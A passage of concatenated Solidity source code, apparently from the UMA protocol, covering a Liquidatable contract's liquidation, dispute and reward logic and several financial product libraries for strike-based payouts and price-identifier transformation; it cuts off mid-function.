using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
/****************************************
* LIQUIDATION DATA STRUCTURES *
****************************************/
// Because of the check in withdrawable(), the order of these enum values should not change.
enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed }
struct LiquidationData {
// Following variables set upon creation of liquidation:
address sponsor; // Address of the liquidated position's sponsor
address liquidator; // Address who created this liquidation
Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved
uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle
// Following variables determined by the position that is being liquidated:
FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute
FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute
// Amount of collateral being liquidated, which could be different from
// lockedCollateral if there were pending withdrawals at the time of liquidation
FixedPoint.Unsigned liquidatedCollateral;
// Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation.
FixedPoint.Unsigned rawUnitCollateral;
// Following variable set upon initiation of a dispute:
address disputer; // Person who is disputing a liquidation
// Following variable set upon a resolution of a dispute:
FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute
FixedPoint.Unsigned finalFee;
}
// Define the contract's constructor parameters as a struct to enable more variables to be specified.
// This is required to enable more params, over and above Solidity's limits.
struct ConstructorParams {
// Params for PricelessPositionManager only.
uint256 expirationTimestamp;
uint256 withdrawalLiveness;
address collateralAddress;
address tokenAddress;
address finderAddress;
address timerAddress;
address financialProductLibraryAddress;
bytes32 priceFeedIdentifier;
FixedPoint.Unsigned minSponsorTokens;
// Params specifically for Liquidatable.
uint256 liquidationLiveness;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
}
// This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards.
// `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ
// from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the
// fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error.
struct RewardsData {
FixedPoint.Unsigned payToSponsor;
FixedPoint.Unsigned payToLiquidator;
FixedPoint.Unsigned payToDisputer;
FixedPoint.Unsigned paidToSponsor;
FixedPoint.Unsigned paidToLiquidator;
FixedPoint.Unsigned paidToDisputer;
}
// Liquidations are unique by ID per sponsor
mapping(address => LiquidationData[]) public liquidations;
// Total collateral in liquidation.
FixedPoint.Unsigned public rawLiquidationCollateral;
// Immutable contract parameters:
// Amount of time for pending liquidation before expiry.
// !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors.
// Extremely low liveness values increase the chance that opportunistic invalid liquidations
// expire without dispute, thereby decreasing the usability for sponsors and increasing the risk
// for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic
// token holder for the contract.
uint256 public liquidationLiveness;
// Required collateral:TRV ratio for a position to be considered sufficiently collateralized.
FixedPoint.Unsigned public collateralRequirement;
// Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer
// Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%"
FixedPoint.Unsigned public disputeBondPercentage;
// Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public sponsorDisputeRewardPercentage;
// Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public disputerDisputeRewardPercentage;
/****************************************
* EVENTS *
****************************************/
event LiquidationCreated(
address indexed sponsor,
address indexed liquidator,
uint256 indexed liquidationId,
uint256 tokensOutstanding,
uint256 lockedCollateral,
uint256 liquidatedCollateral,
uint256 liquidationTime
);
event LiquidationDisputed(
address indexed sponsor,
address indexed liquidator,
address indexed disputer,
uint256 liquidationId,
uint256 disputeBondAmount
);
event DisputeSettled(
address indexed caller,
address indexed sponsor,
address indexed liquidator,
address disputer,
uint256 liquidationId,
bool disputeSucceeded
);
event LiquidationWithdrawn(
address indexed caller,
uint256 paidToLiquidator,
uint256 paidToDisputer,
uint256 paidToSponsor,
Status indexed liquidationStatus,
uint256 settlementPrice
);
/****************************************
* MODIFIERS *
****************************************/
modifier disputable(uint256 liquidationId, address sponsor) {
_disputable(liquidationId, sponsor);
_;
}
modifier withdrawable(uint256 liquidationId, address sponsor) {
_withdrawable(liquidationId, sponsor);
_;
}
/**
* @notice Constructs the liquidatable contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PricelessPositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PricelessPositionManager(
params.expirationTimestamp,
params.withdrawalLiveness,
params.collateralAddress,
params.tokenAddress,
params.finderAddress,
params.priceFeedIdentifier,
params.minSponsorTokens,
params.timerAddress,
params.financialProductLibraryAddress
)
nonReentrant()
{
require(params.collateralRequirement.isGreaterThan(1));
require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1));
// Set liquidatable specific variables.
liquidationLiveness = params.liquidationLiveness;
collateralRequirement = params.collateralRequirement;
disputeBondPercentage = params.disputeBondPercentage;
sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
}
/****************************************
* LIQUIDATION FUNCTIONS *
****************************************/
/**
* @notice Liquidates the sponsor's position if the caller has enough
* synthetic tokens to retire the position's outstanding tokens. Liquidations above
* a minimum size also reset an ongoing "slow withdrawal"'s liveness.
* @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be
* approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param sponsor address of the sponsor to liquidate.
* @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate.
* @param deadline abort the liquidation if the transaction is mined after this timestamp.
* @return liquidationId ID of the newly created liquidation.
* @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position.
* @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully.
*/
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
fees()
onlyPreExpiration()
nonReentrant()
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
)
{
// Check that this transaction was mined pre-deadline.
require(getCurrentTime() <= deadline, "Mined after deadline");
// Retrieve Position data for sponsor
PositionData storage positionToLiquidate = _getPositionData(sponsor);
tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding);
require(tokensLiquidated.isGreaterThan(0));
// Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral,
// then set this to 0, otherwise set it to (startCollateral - withdrawal request amount).
FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral);
FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0);
if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) {
startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount);
}
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding;
// The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken].
// maxCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal),
"CR is more than max liq. price"
);
// minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal),
"CR is less than min liq. price"
);
}
// Compute final fee at time of liquidation.
finalFeeBond = _computeFinalFees();
// These will be populated within the scope below.
FixedPoint.Unsigned memory lockedCollateral;
FixedPoint.Unsigned memory liquidatedCollateral;
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding);
// The actual amount of collateral that gets moved to the liquidation.
lockedCollateral = startCollateral.mul(ratio);
// For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of
// withdrawal requests.
liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio);
// Part of the withdrawal request is also removed. Ideally:
// liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral.
FixedPoint.Unsigned memory withdrawalAmountToRemove =
positionToLiquidate.withdrawalRequestAmount.mul(ratio);
_reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove);
}
// Add to the global liquidation collateral count.
_addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond));
// Construct liquidation object.
// Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new
// LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push.
liquidationId = liquidations[sponsor].length;
liquidations[sponsor].push(
LiquidationData({
sponsor: sponsor,
liquidator: msg.sender,
state: Status.NotDisputed,
liquidationTime: getCurrentTime(),
tokensOutstanding: tokensLiquidated,
lockedCollateral: lockedCollateral,
liquidatedCollateral: liquidatedCollateral,
rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)),
disputer: address(0),
settlementPrice: FixedPoint.fromUnscaledUint(0),
finalFee: finalFeeBond
})
);
// If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than
// some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be
// "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold
// is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal.
// We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter
// denominated in token currency units and we can avoid adding another parameter.
FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens;
if (
positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal.
positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired.
tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold".
) {
positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
}
emit LiquidationCreated(
sponsor,
msg.sender,
liquidationId,
tokensLiquidated.rawValue,
lockedCollateral.rawValue,
liquidatedCollateral.rawValue,
getCurrentTime()
);
// Destroy tokens
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue);
tokenCurrency.burn(tokensLiquidated.rawValue);
// Pull final fee from liquidator.
collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue);
}
/**
* @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond
* and pay a fixed final fee charged on each price request.
* @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.
* This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute
* bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation.
* @param liquidationId of the disputed liquidation.
* @param sponsor the address of the sponsor whose liquidation is being disputed.
* @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).
*/
function dispute(uint256 liquidationId, address sponsor)
external
disputable(liquidationId, sponsor)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalPaid)
{
LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);
// Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees.
FixedPoint.Unsigned memory disputeBondAmount =
disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul(
_getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)
);
_addCollateral(rawLiquidationCollateral, disputeBondAmount);
// Request a price from DVM. Liquidation is pending dispute until DVM returns a price.
disputedLiquidation.state = Status.Disputed;
disputedLiquidation.disputer = msg.sender;
// Enqueue a request with the DVM.
_requestOraclePriceLiquidation(disputedLiquidation.liquidationTime);
emit LiquidationDisputed(
sponsor,
disputedLiquidation.liquidator,
msg.sender,
liquidationId,
disputeBondAmount.rawValue
);
totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);
// Pay the final fee for requesting price from the DVM.
_payFinalFees(msg.sender, disputedLiquidation.finalFee);
// Transfer the dispute bond amount from the caller to this contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);
}
/**
* @notice After a dispute has settled or after a non-disputed liquidation has expired,
* anyone can call this method to disperse payments to the sponsor, liquidator, and disdputer.
* @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment.
* If the dispute FAILED: only the liquidator can receive payment.
* This method will revert if rewards have already been dispersed.
* @param liquidationId uniquely identifies the sponsor's liquidation.
* @param sponsor address of the sponsor associated with the liquidation.
* @return data about rewards paid out.
*/
function withdrawLiquidation(uint256 liquidationId, address sponsor)
public
withdrawable(liquidationId, sponsor)
fees()
nonReentrant()
returns (RewardsData memory)
{
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settles the liquidation if necessary. This call will revert if the price has not resolved yet.
_settle(liquidationId, sponsor);
// Calculate rewards as a function of the TRV.
// Note: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata.
FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral);
FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice;
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation);
FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation);
FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage);
FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation);
// There are three main outcome states: either the dispute succeeded, failed or was not updated.
// Based on the state, different parties of a liquidation receive different amounts.
// After assigning rewards based on the liquidation status, decrease the total collateral held in this contract
// by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes
// precision loss.
RewardsData memory rewards;
if (liquidation.state == Status.DisputeSucceeded) {
// If the dispute is successful then all three users should receive rewards:
// Pay DISPUTER: disputer reward + dispute bond + returned final fee
rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee);
// Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward
rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue));
// Pay LIQUIDATOR: TRV - dispute reward - sponsor reward
// If TRV > Collateral, then subtract rewards from collateral
// NOTE: `payToLiquidator` should never be below zero since we enforce that
// (sponsorDisputePct+disputerDisputePct) <= 1 in the constructor when these params are set.
rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor);
rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer);
collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue);
// In the case of a failed dispute only the liquidator can withdraw.
} else if (liquidation.state == Status.DisputeFailed) {
// Pay LIQUIDATOR: collateral + dispute bond + returned final fee
rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
// If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this
// state as a dispute failed and the liquidator can withdraw.
} else if (liquidation.state == Status.NotDisputed) {
// Pay LIQUIDATOR: collateral + returned final fee
rewards.payToLiquidator = collateral.add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
}
emit LiquidationWithdrawn(
msg.sender,
rewards.paidToLiquidator.rawValue,
rewards.paidToDisputer.rawValue,
rewards.paidToSponsor.rawValue,
liquidation.state,
settlementPrice.rawValue
);
// Free up space after collateral is withdrawn by removing the liquidation object from the array.
delete liquidations[sponsor][liquidationId];
return rewards;
}
/**
* @notice Gets all liquidation information for a given sponsor address.
* @param sponsor address of the position sponsor.
* @return liquidationData array of all liquidation information for the given sponsor address.
*/
function getLiquidations(address sponsor)
external
view
nonReentrantView()
returns (LiquidationData[] memory liquidationData)
{
return liquidations[sponsor];
}
/**
* @notice Accessor method to calculate a transformed collateral requirement using the finanical product library
specified during contract deployment. If no library was provided then no modification to the collateral requirement is done.
* @param price input price used as an input to transform the collateral requirement.
* @return transformedCollateralRequirement collateral requirement with transformation applied to it.
* @dev This method should never revert.
*/
function transformCollateralRequirement(FixedPoint.Unsigned memory price)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return _transformCollateralRequirement(price);
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// This settles a liquidation if it is in the Disputed state. If not, it will immediately return.
// If the liquidation is in the Disputed state, but a price is not available, this will revert.
function _settle(uint256 liquidationId, address sponsor) internal {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settlement only happens when state == Disputed and will only happen once per liquidation.
// If this liquidation is not ready to be settled, this method should return immediately.
if (liquidation.state != Status.Disputed) {
return;
}
// Get the returned price from the oracle. If this has not yet resolved will revert.
liquidation.settlementPrice = _getOraclePriceLiquidation(liquidation.liquidationTime);
// Find the value of the tokens in the underlying collateral.
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(liquidation.settlementPrice);
// The required collateral is the value of the tokens in underlying * required collateral ratio. The Transform
// Collateral requirement method applies a from the financial Product library to change the scaled the collateral
// requirement based on the settlement price. If no library was specified when deploying the emp then this makes no change.
FixedPoint.Unsigned memory requiredCollateral =
tokenRedemptionValue.mul(_transformCollateralRequirement(liquidation.settlementPrice));
// If the position has more than the required collateral it is solvent and the dispute is valid(liquidation is invalid)
// Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals.
bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral);
liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed;
emit DisputeSettled(
msg.sender,
sponsor,
liquidation.liquidator,
liquidation.disputer,
liquidationId,
disputeSucceeded
);
}
function _pfc() internal view override returns (FixedPoint.Unsigned memory) {
return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral));
}
function _getLiquidationData(address sponsor, uint256 liquidationId)
internal
view
returns (LiquidationData storage liquidation)
{
LiquidationData[] storage liquidationArray = liquidations[sponsor];
// Revert if the caller is attempting to access an invalid liquidation
// (one that has never been created or one has never been initialized).
require(
liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized,
"Invalid liquidation ID"
);
return liquidationArray[liquidationId];
}
function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) {
return liquidation.liquidationTime.add(liquidationLiveness);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _disputable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
require(
(getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed),
"Liquidation not disputable"
);
}
function _withdrawable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
Status state = liquidation.state;
// Must be disputed or the liquidation has passed expiry.
require(
(state > Status.NotDisputed) ||
((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed)),
"Liquidation not withdrawable"
);
}
function _transformCollateralRequirement(FixedPoint.Unsigned memory price)
internal
view
returns (FixedPoint.Unsigned memory)
{
if (!address(financialProductLibrary).isContract()) return collateralRequirement;
try financialProductLibrary.transformCollateralRequirement(price, collateralRequirement) returns (
FixedPoint.Unsigned memory transformedCollateralRequirement
) {
return transformedCollateralRequirement;
} catch {
return collateralRequirement;
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Structured Note Financial Product Library
* @notice Adds custom price transformation logic to modify the behavior of the expiring multi party contract. The
* contract holds say 1 WETH in collateral and pays out that 1 WETH if, at expiry, ETHUSD is below a set strike. If
* ETHUSD is above that strike, the contract pays out a given dollar amount of ETH.
* Example: expiry is DEC 31. Strike is $400. Each token is backed by 1 WETH
* If ETHUSD < $400 at expiry, token is redeemed for 1 ETH.
* If ETHUSD >= $400 at expiry, token is redeemed for $400 worth of ETH, as determined by the DVM.
*/
contract StructuredNoteFinancialProductLibrary is FinancialProductLibrary, Ownable, Lockable {
mapping(address => FixedPoint.Unsigned) financialProductStrikes;
/**
* @notice Enables the deployer of the library to set the strike price for an associated financial product.
* @param financialProduct address of the financial product.
* @param strikePrice the strike price for the structured note to be applied to the financial product.
* @dev Note: a) Only the owner (deployer) of this library can set new strike prices b) A strike price cannot be 0.
* c) A strike price can only be set once to prevent the deployer from changing the strike after the fact.
* d) financialProduct must exposes an expirationTimestamp method.
*/
function setFinancialProductStrike(address financialProduct, FixedPoint.Unsigned memory strikePrice)
public
onlyOwner
nonReentrant()
{
require(strikePrice.isGreaterThan(0), "Cant set 0 strike");
require(financialProductStrikes[financialProduct].isEqual(0), "Strike already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductStrikes[financialProduct] = strikePrice;
}
/**
* @notice Returns the strike price associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return strikePrice for the associated financial product.
*/
function getStrikeForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
return financialProductStrikes[financialProduct];
}
/**
* @notice Returns a transformed price by applying the structured note payout structure.
* @param oraclePrice price from the oracle to be transformed.
* @param requestTime timestamp the oraclePrice was requested at.
* @return transformedPrice the input oracle price with the price transformation logic applied to it.
*/
function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime)
public
view
override
nonReentrantView()
returns (FixedPoint.Unsigned memory)
{
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If price request is made before expiry, return 1. Thus we can keep the contract 100% collateralized with
// each token backed 1:1 by collateral currency.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return FixedPoint.fromUnscaledUint(1);
}
if (oraclePrice.isLessThan(strike)) {
return FixedPoint.fromUnscaledUint(1);
} else {
// Token expires to be worth strike $ worth of collateral.
// eg if ETHUSD is $500 and strike is $400, token is redeemable for 400/500 = 0.8 WETH.
return strike.div(oraclePrice);
}
}
/**
* @notice Returns a transformed collateral requirement by applying the structured note payout structure. If the price
* of the structured note is greater than the strike then the collateral requirement scales down accordingly.
* @param oraclePrice price from the oracle to transform the collateral requirement.
* @param collateralRequirement financial products collateral requirement to be scaled according to price and strike.
* @return transformedCollateralRequirement the input collateral requirement with the transformation logic applied to it.
*/
function transformCollateralRequirement(
FixedPoint.Unsigned memory oraclePrice,
FixedPoint.Unsigned memory collateralRequirement
) public view override nonReentrantView() returns (FixedPoint.Unsigned memory) {
FixedPoint.Unsigned memory strike = financialProductStrikes[msg.sender];
require(strike.isGreaterThan(0), "Caller has no strike");
// If the price is less than the strike than the original collateral requirement is used.
if (oraclePrice.isLessThan(strike)) {
return collateralRequirement;
} else {
// If the price is more than the strike then the collateral requirement is scaled by the strike. For example
// a strike of $400 and a CR of 1.2 would yield:
// ETHUSD = $350, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2
// ETHUSD = $400, payout is 1 WETH. CR is multiplied by 1. resulting CR = 1.2
// ETHUSD = $425, payout is 0.941 WETH (worth $400). CR is multiplied by 0.941. resulting CR = 1.1292
// ETHUSD = $500, payout is 0.8 WETH (worth $400). CR multiplied by 0.8. resulting CR = 0.96
return collateralRequirement.mul(strike.div(oraclePrice));
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Pre-Expiration Identifier Transformation Financial Product Library
* @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending
* on when a price request is made. If the request is made before expiration then a transformation is made to the identifier
* & if it is at or after expiration then the original identifier is returned. This library enables self referential
* TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration.
*/
contract PreExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => bytes32) financialProductTransformedIdentifiers;
/**
* @notice Enables the deployer of the library to set the transformed identifier for an associated financial product.
* @param financialProduct address of the financial product.
* @param transformedIdentifier the identifier for the financial product to be used if the contract is pre expiration.
* @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A
* transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct
* must expose an expirationTimestamp method.
*/
function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier)
public
nonReentrant()
{
require(transformedIdentifier != "", "Cant set to empty transformation");
require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier;
}
/**
* @notice Returns the transformed identifier associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return transformed identifier for the associated financial product.
*/
function getTransformedIdentifierForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (bytes32)
{
return financialProductTransformedIdentifiers[financialProduct];
}
/**
* @notice Returns a transformed price identifier if the contract is pre-expiration and no transformation if post.
* @param identifier input price identifier to be transformed.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it.
*/
function transformPriceIdentifier(bytes32 identifier, uint256 requestTime)
public
view
override
nonReentrantView()
returns (bytes32)
{
require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation");
// If the request time is before contract expiration then return the transformed identifier. Else, return the
// original price identifier.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return financialProductTransformedIdentifiers[msg.sender];
} else {
return identifier;
}
}
}
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./FinancialProductLibrary.sol";
import "../../../common/implementation/Lockable.sol";
/**
* @title Post-Expiration Identifier Transformation Financial Product Library
* @notice Adds custom identifier transformation to enable a financial contract to use two different identifiers, depending
* on when a price request is made. If the request is made at or after expiration then a transformation is made to the identifier
* & if it is before expiration then the original identifier is returned. This library enables self referential
* TWAP identifier to be used on synthetics pre-expiration, in conjunction with a separate identifier at expiration.
*/
contract PostExpirationIdentifierTransformationFinancialProductLibrary is FinancialProductLibrary, Lockable {
mapping(address => bytes32) financialProductTransformedIdentifiers;
/**
* @notice Enables the deployer of the library to set the transformed identifier for an associated financial product.
* @param financialProduct address of the financial product.
* @param transformedIdentifier the identifier for the financial product to be used if the contract is post expiration.
* @dev Note: a) Any address can set identifier transformations b) The identifier can't be set to blank. c) A
* transformed price can only be set once to prevent the deployer from changing it after the fact. d) financialProduct
* must expose an expirationTimestamp method.
*/
function setFinancialProductTransformedIdentifier(address financialProduct, bytes32 transformedIdentifier)
public
nonReentrant()
{
require(transformedIdentifier != "", "Cant set to empty transformation");
require(financialProductTransformedIdentifiers[financialProduct] == "", "Transformation already set");
require(ExpiringContractInterface(financialProduct).expirationTimestamp() != 0, "Invalid EMP contract");
financialProductTransformedIdentifiers[financialProduct] = transformedIdentifier;
}
/**
* @notice Returns the transformed identifier associated with a given financial product address.
* @param financialProduct address of the financial product.
* @return transformed identifier for the associated financial product.
*/
function getTransformedIdentifierForFinancialProduct(address financialProduct)
public
view
nonReentrantView()
returns (bytes32)
{
return financialProductTransformedIdentifiers[financialProduct];
}
/**
* @notice Returns a transformed price identifier if the contract is post-expiration and no transformation if pre.
* @param identifier input price identifier to be transformed.
* @param requestTime timestamp the identifier is to be used at.
* @return transformedPriceIdentifier the input price identifier with the transformation logic applied to it.
*/
function transformPriceIdentifier(bytes32 identifier, uint256 requestTime)
public
view
override
nonReentrantView()
returns (bytes32)
{
require(financialProductTransformedIdentifiers[msg.sender] != "", "Caller has no transformation");
// If the request time is after contract expiration then return the transformed identifier. Else, return the
// original price identifier.
if (requestTime < ExpiringContractInterface(msg.sender).expirationTimestamp()) {
return identifier;
} else {
